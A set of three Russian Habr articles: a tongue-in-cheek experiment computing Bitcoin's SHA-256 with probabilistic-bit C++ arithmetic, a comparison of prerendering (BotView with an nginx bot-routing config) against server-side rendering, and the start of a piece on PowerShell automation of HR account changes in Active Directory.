t1 = f + e1(c) + Ch(c, d, e) + 0x2748774c + W[50];
t2 = e0(g) + Maj(g, h, a); b += t1; f = t1 + t2;
t1 = e + e1(b) + Ch(b, c, d) + 0x34b0bcb5 + W[51];
t2 = e0(f) + Maj(f, g, h); a += t1; e = t1 + t2;
t1 = d + e1(a) + Ch(a, b, c) + 0x391c0cb3 + W[52];
t2 = e0(e) + Maj(e, f, g); h += t1; d = t1 + t2;
t1 = c + e1(h) + Ch(h, a, b) + 0x4ed8aa4a + W[53];
t2 = e0(d) + Maj(d, e, f); g += t1; c = t1 + t2;
t1 = b + e1(g) + Ch(g, h, a) + 0x5b9cca4f + W[54];
t2 = e0(c) + Maj(c, d, e); f += t1; b = t1 + t2;
t1 = a + e1(f) + Ch(f, g, h) + 0x682e6ff3 + W[55];
t2 = e0(b) + Maj(b, c, d); e += t1; a = t1 + t2;
t1 = h + e1(e) + Ch(e, f, g) + 0x748f82ee + W[56];
t2 = e0(a) + Maj(a, b, c); d += t1; h = t1 + t2;
t1 = g + e1(d) + Ch(d, e, f) + 0x78a5636f + W[57];
t2 = e0(h) + Maj(h, a, b); c += t1; g = t1 + t2;
t1 = f + e1(c) + Ch(c, d, e) + 0x84c87814 + W[58];
t2 = e0(g) + Maj(g, h, a); b += t1; f = t1 + t2;
t1 = e + e1(b) + Ch(b, c, d) + 0x8cc70208 + W[59];
t2 = e0(f) + Maj(f, g, h); a += t1; e = t1 + t2;
t1 = d + e1(a) + Ch(a, b, c) + 0x90befffa + W[60];
t2 = e0(e) + Maj(e, f, g); h += t1; d = t1 + t2;
t1 = c + e1(h) + Ch(h, a, b) + 0xa4506ceb + W[61];
t2 = e0(d) + Maj(d, e, f); g += t1; c = t1 + t2;
t1 = b + e1(g) + Ch(g, h, a) + 0xbef9a3f7 + W[62];
t2 = e0(c) + Maj(c, d, e); f += t1; b = t1 + t2;
t1 = a + e1(f) + Ch(f, g, h) + 0xc67178f2 + W[63];
t2 = e0(b) + Maj(b, c, d); e += t1; a = t1 + t2;
state[0] += a; state[1] += b; state[2] += c; state[3] += d;
state[4] += e; state[5] += f; state[6] += g; state[7] += h;
}
```
Использование C++ template функций удобно тем, что я могу вычислить нужный мне хэш от обычных данных и получить обычный результат:
```
const uint8_t header[] = {
0x02,0x00,0x00,0x00,
0x17,0x97,0x5b,0x97,0xc1,0x8e,0xd1,0xf7,
0xe2,0x55,0xad,0xf2,0x97,0x59,0x9b,0x55,
0x33,0x0e,0xda,0xb8,0x78,0x03,0xc8,0x17,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x8a,0x97,0x29,0x5a,0x27,0x47,0xb4,0xf1,
0xa0,0xb3,0x94,0x8d,0xf3,0x99,0x03,0x44,
0xc0,0xe1,0x9f,0xa6,0xb2,0xb9,0x2b,0x3a,
0x19,0xc8,0xe6,0xba,
0xdc,0x14,0x17,0x87,
0x35,0x8b,0x05,0x53,
0x53,0x5f,0x01,0x19,
0x48,0x75,0x08,0x33
};
uint32_t test_nonce = 0x48750833;
uint32_t result[8];
full_btc_hash(header, test_nonce, result);
uint8_t* presult = (uint8_t * )result;
for (int i = 0; i < 32; i++)
printf("%02X ", presult[i]);
```
Получается:
92 98 2A 50 91 FA BD 42 97 8A A5 2D CD C9 36 28 02 4A DD FE E0 67 A4 78 00 00 00 00 00 00 00 00
В конце хэша много нулей, красивый хэш, бинго и т.д.
А теперь дальше я могу передать в эту хэширующую функцию не обычные uint32\_t данные, а мой специальный C++ класс, который переопределит всю арифметику.
Да-да. Я собираюсь применить «альтернативную» вероятностную математику.
Сам придумал, сам реализовал, сам испытал. Похоже не очень работает. Шутка. Должно работать. Возможно даже не я первый такое пытаюсь провернуть.
Теперь переходим к самому интересному.
Вся арифметика в цифровой электронике выполняется, как операции над битами, и она строго определена операциями И, ИЛИ, НЕ, ИСКЛЮЧАЮЩЕЕ ИЛИ. Ну мы все знаем, что такое таблицы истинности в булевой алгебре.
Я предлагаю добавить немного неопределенности в вычисления, сделать их вероятностными.
Пусть у каждого бита в слове будут не только возможные значения НОЛЬ и ЕДИНИЦА, но и все промежуточные! Я предлагаю рассматривать значение бита, как вероятность события, которое может произойти, а может не произойти. Если все исходные данные достоверно известны, то получается достоверным и результат. А если некоторых данных немного не хватает, то и результат получится с некоторой вероятностью.
В самом деле, предположим, есть два независимых события «a» и «b», вероятности выпадения которых естественно от нуля до единицы соответственно Pa и Pb. Какова вероятность того, что события случатся одновременно? Я уверен, что каждый из нас без колебаний ответит P = Pa \* Pb и это правильный ответ!
3D график такой функции будет выглядеть вот так (с двух разных точек зрения):
![](https://habrastorage.org/r/w1560/webt/-e/ll/pw/-ellpwuzq9bxl8fi_b3l1drhutc.png)
А какова вероятность того, что случится или событие Pa или событие Pb?
Вероятность P = Pa+Pb-Pa\*Pb. График функции вот такой:
![](https://habrastorage.org/r/w1560/webt/vs/sd/wk/vssdwknevb1dijfbqcy3lsnib0w.png)
А если мы знаем вероятность выпадения события Pa, то какова вероятность, что событие не произойдет?
P = 1 — Pa.
Теперь сделаем допущение. Представьте себе, что у нас появились логические элементы, которые вычисляют вероятность выходного события, зная вероятность входных событий:
![](https://habrastorage.org/webt/tn/qk/-v/tnqk-v5-dce15dkr0-zsb1wmiww.gif)
Имея такие логические элементы можно без труда сделать из них более сложные, например, исключающее или, XOR:
![](https://habrastorage.org/r/w1560/webt/l0/e8/ju/l0e8judlmw-uh6plwsuj5sjnutq.png)
Теперь глядя на схему этого логического элемента XOR, можно понять какова будет вероятность события на выходе вероятностного XOR:
![](https://habrastorage.org/r/w1560/webt/oj/xy/re/ojxyrexx8xkmcrmoyfohfl6bqyw.png)
Но и это не все. Мы знаем типовую логическую схему полного сумматора и изнаем, как из полного сумматора делается многоразрядный сумматор:
![](https://habrastorage.org/r/w1560/webt/_s/fh/qs/_sfhqsmrhygqasjfv6inengna38.png)
Значит теперь по его схеме теперь мы можем вычислить вероятности сигналов на его выходе, при известных вероятностях сигналов на входе.
Таким образом, я могу реализовать на c++ свой собственный «32х битный» класс (назову его x32) c вероятностной арифметикой, переопределить у этого класса все нужные для sha256 операции вроде AND, OR, XOR, ADD и сдвигов. Класс будет хранить внутри 32 бита, но каждый бит в виде числа с плавающей точкой. Каждая логическая или арифметическая операция над таким 32х битным числом будет вычислять вероятность значения каждого бита при известных или малоизвестных входных параметрах логической или арифметической операции.
Рассмотрим такой очень простой пример, который использует мою вероятностную математику:
```
typedef std::numeric_limits< double > dbl;
int main(int argc, char *argv[])
{
cout.precision(dbl::max_digits10);
x32 a = 0xaabbccdd;
x32 b = 0x12345678;
**//b.setBit( 4, 0.75 );**
x32 c = a + b;
cout << std::hex << "result = 0x" << c.get32() << "\n" << std::dec;
for (int i = 0; i < 32; i++)
cout << "bit" << i << " = " << c.get_bvi(i) << "\n";
cout << "ok\n";
}
```
В этом примере суммируются два 32х битных числа.
Пока строка b.setBit( 4, 0.75 ); закомментирована результат сложения точно предсказуем и предопределен, ведь все входные данные для сложения известны. Программа напечатает в консоль вот такое:
```
result = 0xbcf02355
bit0 = 1
bit1 = 0
bit2 = 1
bit3 = 0
bit4 = 1
bit5 = 0
bit6 = 1
bit7 = 0
bit8 = 1
bit9 = 1
bit10 = 0
bit11 = 0
bit12 = 0
bit13 = 1
bit14 = 0
bit15 = 0
bit16 = 0
bit17 = 0
bit18 = 0
bit19 = 0
bit20 = 1
bit21 = 1
bit22 = 1
bit23 = 1
bit24 = 0
bit25 = 0
bit26 = 1
bit27 = 1
bit28 = 1
bit29 = 1
bit30 = 0
bit31 = 1
```
Если же раскомментировать строку b.setBit( 4, 0.75 );, то этим самым я как бы говорю программе: «сложи мне эти два числа, только я не очень знаю значение бита 4 второго аргумента, думаю с вероятностью 0.75 это единица».
Тогда сложение происходит, как ему и положено, с полным вычислением вероятностей выходных сигналов, то есть битов:
```
bit not stable
bit not stable
bit not stable
result = 0xbcf02305
bit0 = 1
bit1 = 0
bit2 = 1
bit3 = 0
bit4 = 0.75
bit5 = 0.1875
bit6 = 0.8125
bit7 = 0
bit8 = 1
bit9 = 1
bit10 = 0
bit11 = 0
bit12 = 0
bit13 = 1
bit14 = 0
bit15 = 0
bit16 = 0
bit17 = 0
bit18 = 0
bit19 = 0
bit20 = 1
bit21 = 1
bit22 = 1
bit23 = 1
bit24 = 0
bit25 = 0
bit26 = 1
bit27 = 1
bit28 = 1
bit29 = 1
bit30 = 0
bit31 = 1
```
Из-за того, что входные данные были не очень известны получается не очень известным и результат. При этом то, что можно достоверно посчитать считается достоверно. Что нельзя посчитать считается с вероятностью.
Теперь, когда у меня есть такой замечательный 32х битный c++ класс для нечеткой арифметики, я смогу передавать в template функцию full\_btc\_hash() массивы переменных типа x32 и получать вероятностный оценочный результат хэша.
**Кое что из реализации класса x32 вот:**
```
#pragma once
#include
#include
#include
#include
#include
#include
#include
using namespace std;
#include
#include
using boost::multiprecision::cpp\_dec\_float\_50;
//typedef double MY\_FP;
typedef cpp\_dec\_float\_50 MY\_FP;
class x32
{
public:
x32();
x32(uint32\_t n);
void init(MY\_FP val);
void init(double\* pval);
void setBit(int i, MY\_FP val) { bvi[i] = val; };
~x32() {};
x32 operator|(const x32& right);
x32 operator&(const x32& right);
x32 operator^(const x32& right);
x32 operator+(const x32& right);
x32& x32::operator+=(const x32& right);
x32 operator~();
x32 operator<<(const unsigned int& right);
x32 operator>>(const unsigned int& right);
void print();
uint32\_t get32();
MY\_FP get\_bvi(uint32\_t idx) { return bvi[idx]; };
private:
MY\_FP not(MY\_FP a);
MY\_FP and(MY\_FP a, MY\_FP b);
MY\_FP or (MY\_FP a, MY\_FP b);
MY\_FP xor(MY\_FP a, MY\_FP b);
MY\_FP bvi[32]; //bit values
};
#include "stdafx.h"
#include "x32.h"
x32::x32()
{
for (int i = 0; i < 32; i++)
{
bvi[i] = 0.0;
}
}
x32::x32(uint32\_t n)
{
for (int i = 0; i < 32; i++)
{
bvi[i] = (n&(1 << i)) ? 1.0 : 0.0;
}
}
void x32::init(MY\_FP val)
{
for (int i = 0; i < 32; i++) {
bvi[i] = val;
}
}
void x32::init(double\* pval)
{
for (int i = 0; i < 32; i++) {
bvi[i] = pval[i];
}
}
x32 x32::operator<<(const unsigned int& right)
{
x32 t;
for (int i = 31; i >= 0; i--)
{
if (i < right)
{
t.bvi[i] = 0.0;
}
else
{
t.bvi[i] = bvi[i - right];
}
}
return t;
}
x32 x32::operator>>(const unsigned int& right)
{
x32 t;
for (unsigned int i = 0; i < 32; i++)
{
if (i >= (32 - right))
{
t.bvi[i] = 0;
}
else
{
t.bvi[i] = bvi[i + right];
}
}
return t;
}
MY\_FP x32::not(MY\_FP a)
{
return 1.0 - a;
}
MY\_FP x32::and(MY\_FP a, MY\_FP b)
{
return a \* b;
}
MY\_FP x32::or(MY\_FP a, MY\_FP b)
{
return a + b - a \* b;
}
MY\_FP x32::xor (MY\_FP a, MY\_FP b)
{
//(~(A & B)) & (A | B)
return and( not( and(a,b) ) , or(a,b) );
}
x32 x32::operator|(const x32& right)
{
x32 t;
for (int i = 0; i < 32; i++)
{
t.bvi[i] = or ( bvi[i], right.bvi[i] );
}
return t;
}
x32 x32::operator&(const x32& right)
{
x32 t;
for (int i = 0; i < 32; i++)
{
t.bvi[i] = and (bvi[i], right.bvi[i]);
}
return t;
}
x32 x32::operator~()
{
x32 t;
for (int i = 0; i < 32; i++)
{
t.bvi[i] = not(bvi[i]);
}
return t;
}
x32 x32::operator^(const x32& right)
{
x32 t;
for (int i = 0; i < 32; i++) {
t.bvi[i] = xor (bvi[i], right.bvi[i]);
}
return t;
}
x32 x32::operator+(const x32& right)
{
x32 r;
r.bvi[0] = xor (bvi[0], right.bvi[0]);
MY\_FP cout = and (bvi[0], right.bvi[0]);
for (unsigned int i = 1; i < 32; i++)
{
MY\_FP xor\_a\_b = xor (bvi[i], right.bvi[i]);
r.bvi[i] = xor( xor\_a\_b, cout );
MY\_FP and1 = and (bvi[i], right.bvi[i]);
MY\_FP and2 = and (xor\_a\_b, cout);
cout = or (and1,and2);
}
return r;
}
x32& x32::operator+=(const x32& right)
{
MY\_FP cout = and (bvi[0], right.bvi[0]);
bvi[0] = xor (bvi[0], right.bvi[0]);
for (unsigned int i = 1; i < 32; i++)
{
MY\_FP xor\_a\_b = xor (bvi[i], right.bvi[i]);
MY\_FP and1 = and (bvi[i], right.bvi[i]);
MY\_FP and2 = and (xor\_a\_b, cout);
bvi[i] = xor (xor\_a\_b, cout);
cout = or (and1, and2);
}
return \*this;
}
void x32::print()
{
for (int i = 0; i < 32; i++)
{
cout << bvi[i] << "\n";
}
}
uint32\_t x32::get32()
{
uint32\_t r = 0;
for (int i = 0; i < 32; i++)
{
if (bvi[i] == 1.0)
r = r | (1 << i);
else
if (bvi[i] == 0.0)
{
//ok
}
else
{
//oops..
cout << "bit not stable\n";
}
}
return r;
}
```
Для чего все это нужно?
Майнер биткоин заранее не знает, какое нужно выбрать значение 32х битного nonce. Майнер вынужден перебирать их все 4 миллиарда, чтобы считать хэш, пока он не станет «красивым», пока значение хэша не станет меньше target.
Нечеткая вероятностная арифметика теоретически позволяет избавится от перебора.
Да, я изначально не знаю значения всех нужных битов нонсе. Если я их не знаю, что пусть будет ни-то ни-сё — начальная вероятность нонсе битов 0.5. Даже при таком раскладе я могу посчитать вероятность выходных битов хэша. Где-то что-то они получаются так же около 0.5 плюс-минус пол копейки.
Однако, теперь я могу изменить только один бит нонсе с 0.5 до 0.9 или до 0.1 или до 1.0 и посмотреть, как изменится значение вероятности значения сигнала каждого бита хэш функции на выходе. Теперь у меня гораздо больше оценочной информации. Я теперь могу пощупать каждый входной бит нонсе в отдельности и посмотреть куда сдвигается вероятность сигнала на каждом из выходных битов хэш функции.
Например, вот фрагмент, который считает хэш функцию при полностью неизвестных битах нонсе, когда вероятность значения его бит равна 0.5 и второе вычисление, когда предполагаем, что значение бита nonce[0] = 0.9:
```
typedef std::numeric_limits< double > dbl;
int main(int argc, char *argv[])
{
cout.precision(dbl::max_digits10);
//---------------------------------
//hash: 502A989242BDFA912DA58A972836C9CDFEDD4A0278A467E00000000000000000
const u8 strxx[] = {
0x02,0x00,0x00,0x00,
0x17,0x97,0x5b,0x97,0xc1,0x8e,0xd1,0xf7,
0xe2,0x55,0xad,0xf2,0x97,0x59,0x9b,0x55,
0x33,0x0e,0xda,0xb8,0x78,0x03,0xc8,0x17,
0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x8a,0x97,0x29,0x5a,0x27,0x47,0xb4,0xf1,
0xa0,0xb3,0x94,0x8d,0xf3,0x99,0x03,0x44,
0xc0,0xe1,0x9f,0xa6,0xb2,0xb9,0x2b,0x3a,
0x19,0xc8,0xe6,0xba,
0xdc,0x14,0x17,0x87,
0x35,0x8b,0x05,0x53,
0x53,0x5f,0x01,0x19,
0x48,0x75,0x08,0x33
};
double nonce_bits[32];
for (int i = 0; i < 32; i++)
nonce_bits[i] = 0.5;
x32 nonce_x32_a;
x32 nonce_x32_b;
nonce_x32_a.init(nonce_bits);
nonce_bits[0] = 0.9;
nonce_x32_b.init(nonce_bits);
x32 result_x32_a[8];
x32 result_x32_b[8];
full_btc_hash(strxx, nonce_x32_a, result_x32_a);
full_btc_hash(strxx, nonce_x32_b, result_x32_b);
for (int i = 0; i < 32; i++)
cout << result_x32_a[7].get_bvi(i) << " " << result_x32_b[7].get_bvi(i) << "\n";
```
Функция класса x32::get\_bvi() возвращает вероятность значения бита этого числа.
Вычисляем и видим, что если изменить значение бита nonce[0] с 0.5 до 0.9, то некоторые биты выходного хэша еле качнулись вверх, а некоторые еле качнулись вниз:
```
0.44525679540883948 0.44525679540840074
0.55268174813167364 0.5526817481315932
0.57758654725359399 0.57758654725360606
0.49595026978928474 0.49595026978930477
0.57118578561406703 0.57118578561407746
0.53237003739057907 0.5323700373905661
0.57269859374138096 0.57269859374138162
0.57631236396381141 0.5763123639638157
0.47943176373960149 0.47943176373960219
0.54955992675177704 0.5495599267517755
0.53321116270879686 0.53321116270879733
0.57294025883744952 0.57294025883744984
0.53131857821387693 0.53131857821387655
0.57253530821899101 0.57253530821899102
0.50661432403287194 0.50661432403287198
0.57149419848354913 0.57149419848354916
0.53220327148366491 0.53220327148366487
0.57268927270412251 0.57268927270412251
0.57632130426913003 0.57632130426913005
0.57233970084776142 0.57233970084776143
0.56824728628552812 0.56824728628552813
0.45247155441889921 0.45247155441889922
0.56875940568326509 0.56875940568326509
0.57524323439326321 0.57524323439326321
0.57587726902392535 0.57587726902392535
0.57597043124557292 0.57597043124557292
0.52847748894672118 0.52847748894672118
0.54512141953055808 0.54512141953055808
0.57362254577539695 0.57362254577539695
0.53082194129771177 0.53082194129771177
0.54404489702929382 0.54404489702929382
0.54065386336136847 0.54065386336136847
```
Эдакое дыхание ветерка, еле заметное изменение вероятностей на выходе в 10м знаке после запятой. Ну тем не менее… на этом можно пытаться строить какие-то предположения. Красиво выходит, правда?
Кстати, если входные биты входного нонсе проинициализировать правильными, нужными значениями вероятности, типа вот так:
```
double nonce_bits[32];
for (int i = 0; i < 32; i++)
nonce_bits[i] = (real_nonce32&(1 << i)) ? 1.0 : 0.0;
x32 nonce_x32;
nonce_x32.init(nonce_bits);
full_btc_hash(strxx, nonce_x32, result_x32);
```
то вычисляя вероятностный хэш получаем закономерный правильный результат — «красивый» хэш на выходе, бинго.
Так что с математикой тут все правильно.
Осталось научиться анализировать дыхание ветерка… и хэш сломан.
Звучит, как бред, но это и есть бред — а я в самом начале предупреждал.
Другие полезные материалы:
1. [Майним Bitcoin с помощью бумаги и ручки.](https://habr.com/post/258181/)
2. [Можно ли вычислять биткоины быстрее, проще или легче?](https://habr.com/post/318174/)
3. [Как я blakecoin майнер делал](https://habr.com/post/351118/)
4. [FPGA Майнер Bitcoin на плате Марсоход3](https://marsohod.org/projects/proekty-dlya-platy-marsokhod3/340-miner-bitcoin)
5. [FPGA Майнер с алгоритмом Blake](https://marsohod.org/projects/proekty-dlya-platy-marsokhod3/363-blake) | https://habr.com/ru/post/420131/ | null | ru | null |
# Пререндеринг или Серверный рендеринг?
Привет, Хабр! Все знают что для того, чтобы ваш сайт увидели поисковые роботы вам нужен SSR. Но единственное ли это решение? Всегда ли он нужен? Есть ли другие варианты роботам увидеть контент? Что мы можем выиграть от альтернатив?
В этой статье рассмотрим альтернативное решение для SSR, а именно Динамический рендеринг (он же Пререндеринг).
\* SSR имеется ввиду с регидрацией.
Какую проблему мы решаем?
-------------------------
Есть два способа генерации контента веб сайта:
* Серверный - генерируется программой на стороне сервера. Для генерации такого контента на стороне сервера должна работать ваша программа.
* Клиентский - генерируется скриптом на стороне браузера. Для генерации такого контента на стороне сервера программа не нужна, достаточно сервера статики.
На самом деле есть еще 4 смешанных варианта, но о них позже.
Оба метода имеют свои плюсы и минусы. Большой минус серверного рендеринга заключается в том что веб сайт получается "не живой". В нем мало интерактивных элементов, переход по страницам крайне неприятен и занимает много времени. Но такой контент видят поисковые роботы. Большой минус клиентского рендеринга это отсутствие видимости для роботов. Роботы такой контент просто не видят. Только недавно Гугл и Яндекс научились видеть такой контент, но скорость такой индексации оставляет желать лучшего. Но зато такой веб сайт "живой". В нем много интерактивных элементов и переходы по страницам мгновенны для пользователя.
SSR является компромиссным вариантом и объединяет в себе подходы серверного и клиентского рендеринга. Он с начало рендерит страницу на сервере, потом оживляет ее при рендеринге на клиенте. Таким образом поисковые роботы видят контент, а клиенты получают живой и интерактивный сайт.
Но помимо плюсов у данного подхода есть и минусы. И далее мы сравним плюсы и минусы подходов Пререндеринга и SSR.
Что такое Пререндеринг?
-----------------------
Если SSR является компромиссным вариантом выдающий одинаковый результат для пользователей и роботов, то пререндеринг это бескомпромиссный вариант. Который позволяет выдать роботам и клиентам лучшее решение независимо друг от друга. Роботы получают контент для индексации при помощи серверного рендеринга, а клиенты живой сайт при помощи клиентского рендеринга.
Для пререндера вам понадобится вспомогательная программа работающая на стороне сервера независимо от вашего веб сайта. На стороне прокси сервера вашего сайта делается настройка, которая разделяет пути следования клиентов и поисковых роботов. Клиентам отдается статичный сайт с клиентским рендерингом. Роботы отправляются на программу пререндеринга. Программа пререндеринга открывает сайт, дожидается его загрузки и отправляет результат открытого сайта поисковому роботу. Фактически это то же самое чем занимаются пререндеры поисковых роботов, только мы это реализуем на своей стороне, чтобы помочь роботам лучше индексировать контент своего сайта.
Детальнее про пререндеринг можно [почитать в документации гугла](https://developers.google.com/search/docs/crawling-indexing/javascript/dynamic-rendering). Я для обзора буду рассматривать микросервис пререндеринга от [компании МТС который называется BotView](https://github.com/MobileTeleSystems/botview). Так же есть [сервис prerender.io](https://prerender.io/) который предоставляет услуги пререндеринга и [открытый контейнер для пререндеринга](https://github.com/prerender/prerender). Но его мы рассматривать не будем так как он менее стабильный, менее быстрый и менее функциональный чем BotView.
Как настроить пререндер?
------------------------
Чтобы настроить пререндер, необходимо сделать два простых шага. Во-первых, запустить контейнер с микросервисом пререндеринга.
```
docker run -d --restart always -p 3000:3000 mtsrus/botview
```
Во-вторых, на прокси сервере необходимо настроить разделение путей для реальных клиентов и поисковых роботов. Чтобы реальным клиентам отдавались статичные файлы, а поисковые роботы перенаправлялись на пререндер.
```
location / {
set $prerender 0;
# all popular bots
if ($http_user_agent ~* "googlebot|facebookexternalhit|twitterbot|telegrambot|yahoo|bingbot|baiduspider|yandex|yeti|yodaobot|gigabot|ia_archiver|developers\.google\.com") {
set $prerender 1;
}
# bot with escape fragments
if ($args ~ "_escaped_fragment_") {
set $prerender 1;
}
# prerender microservice
if ($http_user_agent ~ "Prerender") {
set $prerender 0;
}
# static files
if ($uri ~ \.[a-zA-Z0-9]+$) {
set $prerender 0;
}
if ($prerender = 1) {
rewrite (.*) /render/$scheme://$host$1?prerender break;
proxy_pass http://localhost:3000;
}
if ($prerender = 0) {
proxy_pass http://localhost:8080;
}
}
```
Теперь клиенты будут получать клиентский код, а роботы необходимую им информацию. Кроме того в пререндере можно настроить возвращение статус кодов 300 и 400 для их корректной обработки поисковыми роботами.
Как будем сравнивать?
---------------------
Для сравнения возьмем две популярные технологии разработки сайтов. Сайт реализованный как статичные файлы и сайт реализованный на Next.js с SSR. И пройдемся по наиболее интересным вопросам использования.
Стоимость хостинга
------------------
Когда вы хостите сайт как статичные файлы вам достаточного самого дешевого хостинга. Потому что такие сайты не потребляют серверные ресурсы. Достаточно несколько гигабайт диска, немножко процессора, немножко памяти и немножко сети. Далее для рендеринга кода сайта будут использованы ресурсы клиентских устройств, за которые вам платить не надо.
Когда вы хостите сайт как программу с SSR, то на сервере вам понадобится много ресурсов для вашей программы. Потому что теперь для рендеринга сайта будут использоваться серверные ресурсы и много. Понадобится много процессора, много памяти, много сети. Кроме того вырастет нагрузка на сеть, ведь отрендереную серверную страницу нельзя кэшировать. Но самое забавное, что клиент все равно будет рендерить, то же самое. Переложив рендеринг на сервер вы не на чем не сэкономили, вы лишь заплатили за поддержку поисковых роботов.
В моей практике был случай когда я реализовал программу, выполненную как статичный клиентский код и эта программа потребляла в 30 раз меньше серверных ресурсов чем похожая серверная программа.
Но на самом деле у SSR тоже есть козыри. Например, если брать фреймворк Next.js то он может работать не только как SSR решение, но и как SSG, и как SSG + SSR решение. Таким образом страницы могут генерироваться как статичные на этапе сборки или в рантайме по интервалу с новыми данными. Таким образом фреймворк позволяет снизить нагрузку на сервер и клиентам выдавать кэшированные данные.
Но за пререндер на сервере тоже надо платить? Да. Но робот приходит на страницу 1 раз в 2 недели. Это гораздо меньше чем обычно клиентов приходят на вашу страницу.
Победитель: Пререндер.
Надежность
----------
Когда вы хостите сайт как статичные сайты то ваш сайт фактически бессмертен. Это самый простой вид хостинга, его невозможно ни взломать ни сломать. В худшем случае произойдет DDOS и у вас откажет сетевое оборудование, но сайт продолжит работать.
Когда вы хостите сайт как серверную программу то у вас появляется множество проблем по поддержанию работоспособности данной программы. Что бы она не зависла, не сломалась, нагрузка находилась в пределах нормы, что бы программу нельзя было взломать и захватить сервер. Скорее всего вам придется подключить мониторинг и метрики. Кроме того большое количество клиентов могут заставить вашу программу потреблять больше ресурсов чем есть на сервере и тогда программа сломается.
Победитель: Пререндер.
Стоимость разработки
--------------------
Когда вы разрабатываете для SSR вам необходимо разрабатывать сразу под две платформы Браузер и NodeJS. Эти платформы имеют разное API. В частности на стороне NodeJS отсутствуют такие объекты как window, location, screen и многие другие. Из-за чего часто приходиться выкручиваться создавая логику без использования этих объектов или вовсе оставляя заглушку для обработки на стороне клиента. Например частенько при разработке под SSR нужно знать размер экрана пользователя, но вы его никак не можете знать на стороне сервера, поэтому вы рендерите заглушку, потом код передается на клиент где уже происходит более полноценный расчет логики и перерендеринг уже с реальными данными. Все эти нюансы увеличивают стоимость разработки.
Когда вы разрабатываете под Пререндер вы разрабатываете только под браузер. Где есть все необходимое для написания логики.
Победитель: Пререндер.
Поддержка технологий
--------------------
Когда вы используете SSR вы сильно ограничены в используемых технологиях. Next.js только два месяца назад научился безболезненно работать с динамическими данными. В других фреймворках работать с динамическими данными все еще проблемно или невозможно вовсе. На стороне SSR вы не можете использовать множество браузерных фич, таких как Веб компоненты, Микрофронтенды, Фреймворки и пр.
Пререндеринг выполняется в полноценном браузере, поэтому вам доступны все те технологии которые есть браузере без ограничений. Вы не ограничены в библиотеках и фреймворках. Вы можете использовать его для чего угодно, включая JQuery, AngularJS, Angular, Vue, SolidJS и др.
Победитель: Пререндер.
Хайп и комьюнити
----------------
SSR в настоящий момент является основным и рекомендуемым Гуглом. По данному подходу можно найти огромное количество статей и документации. Все современные фреймворки обладают функцией рендеринга через SSR.
Пререндер удел интузиастов. Он перестал быть основным инструментом поставки контента поисковым роботам, так же [перестал быть рекомендованным инструментом Гугл](https://developers.google.com/search/docs/crawling-indexing/javascript/dynamic-rendering).
Победитель: SSR.
Функциональность
----------------
Когда вы разрабатываете с SSR вам приходиться хостить на сервере программу. При таком подходе у вас появляется возможность разместить в программе не только клиентский код, но и API, и код бекенда. Таким образом вы можете принимать запросы от клиента, делать рассылки и исполнять любую необходимую бизнес логику. Фактически вы превращаетесь в фуллстек разработчика.
Когда вы хостите сайт как набор статичных файлов, то кроме отображения статичных файлов в браузере вы не можете делать ничего.
Победитель: SSR.
Какое из решений является костылем?
-----------------------------------
Оба. Единственная задача для которой они существуют это сделать контент видимым для поисковых роботов, реальным клиентам они не нужны. Если ваш контент не должны индексировать роботы, то вы можете не использовать эти решения совсем.
Вот только не понятно почему именно нам приходиться решать задачи поисковых роботов. По хорошему роботы должны сами обрабатывать сайты не зависимо от того как они были реализованы. И подвижки в эту сторону есть, гугл и яндекс уже умеют индексировать сайты без SSR, но пока что это происходит медленно. Надеюсь со временем скорость такой индексации не будет уступать индексации серверного рендеринга и нам можно будет выкинуть и Пререндер и SSR.
Что выбрать вам?
----------------
Решать вам. Я выбираю в зависимости от задачи проекта.
Свои личные проекты я реализую как статичные сайты с пререндером. Потому что так стоимость хостинга значительно ниже и не надо заморачиваться с надежностью.
На работе решение выбирается в зависимости от задачи. Где то это статика с пререндером, где то это фулстек проект на Next.js. Но в подавляющем большинстве это все же Next.js с SSG + SSR.
С другой стороны если ваш фреймворк не поддерживает SSR, например это JQuery или старый Angular, то Пререндер это ваш единственный вариант, при котором контент будет доступен поисковым роботам. | https://habr.com/ru/post/709394/ | null | ru | null |
# Автоматизация кадровых изменений на PowerShell
![image](https://habrastorage.org/r/w1560/files/ac4/129/64e/ac412964ee0e4595ad662ec82f185172.png)Эта статья посвящена автоматизации операций по созданию, перемещению и увольнению людей в соответствии с кадровыми изменениями, сделанными в 1С.
Принцип работы скрипта заключается в парсинге выгружаемых из 1С данных пользователя и присвоении этих данных переменным скрипта с дальнейшим их использованием.
В нашей компании после заведения пользователя в 1C создается CSV файл с данными, пример ниже:
| document type | userName | FIO | Department | Department |
| --- | --- | --- | --- | --- |
| прием на работу | USERtester1 | Иванов Иван Иванович | Диспонент | Отдел диспозиции и оформления документов |
| перемещение | USERtester2 | Петров Иван Иванович | Менеджер по пролонгации | Отдел кредитования и страхования |
| увольнение | USERtester3 | Сидоров Иван Иванович | Менеджер по пролонгации | Отдел кредитования и страхования |
**Скрипт содержит три функции (usrcreate; usrmove; usrdelete) в соответствии с типами операций:**
#### Прием на работу
Ищем шаблон пользователя на основе должности и названия отдела, после нахождения получаем необходимые атрибуты и группы, записываем их в нового пользователя, вместе с тем создается и подключается домашняя папка, а также привязывается почтовый адрес. На почту отправляется отчет с именем пользователя, ФИО и списком групп, в которые он был добавлен.
#### Кадровое перемещение
Находим шаблон пользователя по новой должности и новому отделу сотрудника, с которого мы получаем новый список групп и адрес OU, после нахождения удаляем старые группы у перемещаемого пользователя и добавляем его в новые, одновременно переносим его в OU, соответствующий новому отделу (если есть такое деление в AD), и меняем должности на новые соответственно. На почту отправляется отчет с новыми должностью, отделом и группами.
#### Увольнение
Отключаем почтовый ящик, удаляем пользователя из всех групп, перемещаем его в папку для отключенных пользователей и отключаем его аккаунт. На почту отправляется отчет о том, что пользователь отключен и уволен.
**Скрипт включает в себя ряд проверок:**
#### Проверка на необходимость запуска оснасток Exchange и Active Directory
В данной проверке производится поиск данных для обработки если они не найдены оснастки загружаться не будут, что сэкономит примерно 7 секунд времени.
#### Проверка на существование данных для обработки в переменных $getstaff|$movestaff|$delstaff
Для запуска функций создания, перемещения и удаления пользователей.
#### Проверка на существование создаваемого пользователя
Для проверки дубликатов заданий на создание пользователя.
#### Проверка на существование сетевой папки пользователя
Для обхода ошибки о существовании папки.
#### Проверка должности и департамента
Для проверки на дублирование заявки на перемещение, когда пользователь уже был перемещен на новую должность.
#### Проверка на увольнение пользователя
Для проверки на дублирование заявки на увольнение, когда пользователь уже был уволен.
**Описание переменных скрипта:**
| | |
